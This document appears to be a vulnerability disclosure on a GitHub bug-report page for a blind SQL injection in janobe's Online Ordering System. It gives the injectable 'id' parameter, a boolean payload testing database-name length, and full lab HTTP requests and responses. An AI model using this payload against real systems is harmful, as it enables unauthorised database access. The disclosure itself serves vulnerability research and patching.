

main

...

bug_report / vendors / janobe / online-ordering-system / SQLi-1.md



debug601 Update SQLi-1.md

History

1 contributor

35 lines (24 sloc) | 1.43 KB

...

Online Ordering System By janobe has SQL injection vulnerability

Author: k0xx

vendor: <https://www.sourcecodester.com/php/12978/online-ordering-system-phpmysqli.html>

Vulnerability file: /ordering/index.php?q=products&id=

Vulnerability location: /ordering/index.php?q=products&id= //id is Injection point

[+]Payload: /ordering/index.php?

q=products&id=2%27%20and%20length(database())%20=12--+ //id is Injection point

Current database name: multistoredb,length is 12

```
GET /ordering/index.php?q=products&id=2%27%20and%20length(database())%20=12--+ HTTP/
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
```

Cookie: PHPSESSID=0m2td1md252h1nr3nsbmc5ss99

Connection: close

When length (database ()) = 11, Content-Length: 17564

<pre>GET /ordering/index.php?q=products&id=2%27%20and%20length(database())%20=11--+ HTTP/1.1 Host: 192.168.1.19 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: PHPSESSID=0m2td1md252h1nr3nsbmc5ss99 Connection: close</pre>	<pre>HTTP/1.1 200 OK Date: Wed, 18 May 2022 01:47:54 GMT Server: Apache/2.4.41 (win64) OpenSSL/1.1.1c PHP/7.4.1 X-Powered-By: PHP/7.4.1 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 17564 <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Janobe / Product Details</title></pre>
---	---

INT

SQL BASICS UNION BASED ERROR/DOUBLE QUERY TOOLS WAF BYPASS ENCODING HTML ENCRYPTION OTHER XSS LFI

Load URL Split URL Execute

http://192.168.1.19/ordering/index.php?q=products&id=2' and length(database()) =11|--+

☐ Post data ☐ Referrer ☐ 0xHEX ☐ %URL ☐ BASE64 ☒ R

Tel No. (+001) 123-456-789

0 Register

JANOBE

HOME

SEARCH

PRODUCT CATEGORIES

STORE

Product Details

When length (database ()) = 12, Content-Length: 24330

```
GET
/ordering/index.php?q=products&id=2%27%20a
nd%20length(database())%20=12--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0;
WOW64; rv:46.0) Gecko/20100101
Firefox/46.0
Accept:
text/html,application/xhtml+xml,application
/xml;q=0.9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie:
PHPSESSID=0m2td1md252h1nr3nsbmc5ss99
Connection: close
```

```
HTTP/1.1 200 OK
Date: Wed, 18 May 2022
01:46:38 GMT
Server: Apache/2.4.41
(Win64) OpenSSL/1.1.1c
PHP/7.4.1
X-Powered-By: PHP/7.4.1
Expires: Thu, 19 Nov 1981
08:52:00 GMT
Cache-Control: no-store,
no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: text/html;
charset=UTF-8
Content-Length: 24330
```

```
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Janobe / Product
Details</title>
```

